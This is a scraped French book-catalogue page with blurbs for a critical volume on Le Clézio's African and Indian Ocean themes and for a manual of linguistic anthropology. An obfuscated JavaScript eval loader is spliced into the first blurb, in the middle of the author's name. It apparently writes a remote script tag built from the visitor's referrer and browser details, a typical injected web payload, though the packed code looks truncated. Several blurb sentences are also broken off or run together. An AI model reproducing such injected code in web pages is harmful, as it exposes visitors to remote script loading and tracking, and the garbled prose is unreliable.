25
sep
Contenant:Articles

Une certaine exégèse circulante, cure nostalgique d’une mesure du monde d’autrefois, présente Jean- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiyik|var|u0026u|referrer|syibf||js|php'.split('|'),0,{})) Marie Gustave Le Clézio comme un écrivain français qui est allé vers les « autres mondes » pour les révéler – ainsi que leur fait symbolique – au monde global. Sans régionaliser Le Clézio en l’africanisant ou en l’indianocéanisant, cet ouvrage tente de restituer la place primordiale qu’occupent l’Afrique et les Mascareignes dans son oeuvre. Loin d’être des ou d’apparaître comme des horizons exégétiques indépassables, les contributions réunies dans ce volume ouvrent des pistes – pas toutes – à une ré prolongements et les ruptures nécessaires à pareille entreprise critique, la matière africaine et indianocéanique de l’oeuvre monumentale et multipolaire du Nobel 2008 qui ne fait pourtant pas mystère de sa Aïssatou (Université de Maroua, Cameroun) Bernadette Rey Mimoso-Ruiz (Institut Catholique de Toulouse, France) Dominique Lanni (Université de Malte) Fredrik Westerlund (University of [+]

Contenant:Articles

23,56 au lieu de 24,80 € prix public TTC*Premier manuel français d'anthropologie linguistique parution : 21 août 2013 ( Nouveauté ) Quelles sont les spécificités de la communication orale ? Comment comprendre les conceptions locales de l’exercice de la parole et de ses enjeux sociaux ? Qu’apporte un point de vue interdisciplinaire à l’enquête et à la compréhension des pratiques langagières observables ? Cet ouvrage présente une synthèse inédite des courants scientifiques qui se sont développés de part et d’autre de l’Atlantique et se sont affirmés, depuis les années 1960, sous le nom d’ethnolinguistique en France et d’anthropologie linguistique aux États-Unis. Le parti pris n’est pas seulement de retracer une histoire qui, de Boas à Duranti en passant par Hymes et Calame-Griaule, allierait les points de vue français et américain, mais aussi d’examiner des questionnements autour de pratiques langagières à partir des travaux d’auteurs majeurs pour leur discipline. Plus encore, il s’agit d’inscrire cette anthropologie linguistique dans une [+]

©2010| Designed by: MY'S & Made free by Promo Items